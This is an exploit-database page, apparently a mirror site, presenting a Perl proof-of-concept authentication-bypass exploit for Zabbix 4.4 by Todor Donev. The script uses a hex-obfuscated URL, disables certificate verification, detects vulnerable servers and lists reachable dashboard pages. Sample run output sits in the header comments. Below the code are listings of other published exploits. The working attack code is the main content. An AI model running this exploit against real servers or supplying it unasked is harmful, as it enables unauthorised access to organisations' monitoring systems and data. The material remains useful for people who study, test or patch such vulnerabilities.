Search for hundreds of thousands of exploits

"Zabbix 4.4 - Authentication Bypass"

Author

Exploit author

"Todor Donev"

Platform

Exploit platform

php

Release date

Exploit published date

2019-10-08

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# Exploit Title: Zabbix 4.4 - Authentication Bypass
# Date: 2019-10-06
# Exploit Author: Todor Donev
# Software Link: https://www.zabbix.com/download
# Version: Zabbix 4.4
# Tested on: Linux Apache/2 PHP/7.2

#
#  Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit
#
#  Copyright 2019 (c) Todor Donev 
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#	#  [ Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit
#	#  [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
#	#  [ Initializing the browser
#	#  [ >>> Referer => 
#	#  [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1
#	#  [ >>> Content-Type => application/x-www-form-urlencoded
#	#  [ <<< Cache-Control => no-store, no-cache, must-revalidate
#	#  [ <<< Connection => close
#	#  [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT
#	#  [ <<< Pragma => no-cache
#	#  [ <<< Server => nginx
#	#  [ <<< Vary => Accept-Encoding
#	#  [ <<< Content-Type => text/html; charset=UTF-8
#	#  [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT
#	#  [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT
#	#  [ <<< Client-Peer => 
#	#  [ <<< Client-Response-Num => 1
#	#  [ <<< Client-SSL-Cert-Issuer => 
#	#  [ <<< Client-SSL-Cert-Subject => 
#	#  [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256
#	#  [ <<< Client-SSL-Socket-Class => IO::Socket::SSL
#	#  [ <<< Client-SSL-Warning => Peer certificate not verified
#	#  [ <<< Client-Transfer-Encoding => chunked
#	#  [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"
#	#  [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly
#	#  [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload
#	#  [ <<< Title => TARGET: Dashboard
#	#  [ <<< X-Content-Type-Options => nosniff
#	#  [ <<< X-Frame-Options => SAMEORIGIN
#	#  [ <<< X-Meta-Author => Zabbix SIA
#	#  [ <<< X-Meta-Charset => utf-8
#	#  [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d
#	#  [ <<< X-Meta-Msapplication-Config => none
#	#  [ <<< X-Meta-Msapplication-TileColor => #d40000
#	#  [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png
#	#  [ <<< X-Meta-Viewport => width=device-width, initial-scale=1
#	#  [ <<< X-UA-Compatible => IE=Edge
#	#  [ <<< X-XSS-Protection => 1; mode=block
#	#  [
#	#  [ The target is vulnerable. Try to open these links:
#	#  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view
#	#  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
#	#  [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
#	#  [ https://TARGET/zabbix/overview.php?ddreset=1
#	#  [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
#	#  [ https://TARGET/zabbix/latest.php?ddreset=1
#	#  [ https://TARGET/zabbix/charts.php?ddreset=1
#	#  [ https://TARGET/zabbix/screens.php?ddreset=1
#	#  [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
#	#  [ https://TARGET/zabbix/srv_status.php?ddreset=1
#	#  [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
#	#  [ https://TARGET/zabbix/hostinventories.php?ddreset=1
#	#  [ https://TARGET/zabbix/report2.php?ddreset=1
#	#  [ https://TARGET/zabbix/toptriggers.php?ddreset=1
#	#  [ https://TARGET/zabbix/zabbix.php?action=dashboard.list
#	#  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
# 

#!/usr/bin/perl -w

use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
my $host = shift || ''; # Full path url to the store
$host =~ s|/$||;
print "\033[2J";    #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit\n";
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);                      
my $response = $browser->request($request);
print "[ >>> $_ => ", $request->header($_), "\n" for  $request->header_field_names;
print "[ <<< $_ => ", $response->header($_), "\n" for  $response->header_field_names;
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){
    print "[\n[ The target is vulnerable. Try to open these links:\n";
    my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
    my @files = $tree->look_down(_tag => 'a');
    for my $line (@files){
        next if ($line->attr('href') =~ m/javascript/);
        next if ($line->attr('href') =~ m/\#/);
        next if ($line->attr('href') =~ m/http/);
        print "[ ", $host."/zabbix/".$line->attr('href'), "\n";
    }
} else { 
        print "[ Exploit failed! The target isn't vulnerable\n";
        exit;
}
Release DateTitleTypePlatformAuthor
2020-05-29"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass"webappsmultiple"Halis Duraki"
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-28"NOKIA VitalSuite SPM 2020 - 'UserName' SQL Injection"webappsmultiple"Berk Dusunur"
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
Release DateTitleTypePlatformAuthor
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"OXID eShop 6.3.4 - 'sorting' SQL Injection"webappsphpVulnSpy
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
2020-05-27"osTicket 1.14.1 - 'Ticket Queue' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
Release DateTitleTypePlatformAuthor
2020-02-24"I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"ESCAM QD-900 WIFI HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"SecuSTATION IPCAM-130 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"Aptina AR0130 960P 1.3MP Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-24"SecuSTATION SC-831 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2020-02-19"DBPower C300 HD Camera - Remote Configuration Disclosure"webappshardware"Todor Donev"
2019-10-08"Zabbix 4.4 - Authentication Bypass"webappsphp"Todor Donev"
2019-09-23"Hisilicon HiIpcam V100R003 Remote ADSL - Credentials Disclosure"remotehardware"Todor Donev"
2019-09-09"WordPress 5.2.3 - Cross-Site Host Modification"webappsphp"Todor Donev"
2019-09-02"IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 - Arbitrary File Read"remotehardware"Todor Donev"
2019-09-02"Cisco Email Security Appliance (IronPort) C160 - 'Host' Header Injection"remotehardware"Todor Donev"
2019-05-24"Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC"webappsphp"Todor Donev"
2018-07-11"Awk to Perl 1.007-5 - Buffer Overflow (PoC)"locallinux"Todor Donev"
2018-06-22"Opencart < 3.0.2.0 - Denial of Service"dosphp"Todor Donev"
2018-04-02"Secutech RiS-11/RiS-22/RiS-33 - Remote DNS Change"webappshardware"Todor Donev"
2018-03-30"Tenda W3002R/A302/w309r Wireless Router v5.07.64_en - Remote DNS Change (PoC)"webappsasp"Todor Donev"
2018-03-30"Tenda FH303/A300 Firmware v5.07.68_EN - Remote DNS Change"webappsasp"Todor Donev"
2018-03-30"Tenda W316R Wireless Router 5.07.50 - Remote DNS Change"webappsasp"Todor Donev"
2018-03-30"Tenda W308R v2 Wireless Router 5.07.48 - Cookie Session Weakness Remote DNS Change"webappsasp"Todor Donev"
2018-03-28"Tenda N11 Wireless Router 5.07.43_en_NEX01 - Remote DNS Change"webappshardware"Todor Donev"
2018-01-17"D-Link DSL-2640R - DNS Change"webappshardware"Todor Donev"
2017-06-18"D-Link DSL-2640B ADSL Router - 'dnscfg' Remote DNS Change"webappshardware"Todor Donev"
2017-06-17"UTstarcom WA3002G4 - DNS Change"webappshardware"Todor Donev"
2017-06-17"Beetel BCM96338 Router - DNS Change"webappshardware"Todor Donev"
2017-06-17"D-Link DSL-2640U - DNS Change"webappshardware"Todor Donev"
2017-06-16"iBall Baton iB-WRA150N - DNS Change"webappshardware"Todor Donev"
2017-01-22"SunOS 5.11 ICMP - Denial of Service"dosunix"Todor Donev"
2017-01-19"Tenda ADSL2/2+ Modem D820R - DNS Change"webappshardware"Todor Donev"
2017-01-19"Pirelli DRG A115 v3 ADSL Router - DNS Change"webappshardware"Todor Donev"
2017-01-16"Pirelli DRG A115 ADSL Router - DNS Change"webappshardware"Todor Donev"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47474/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.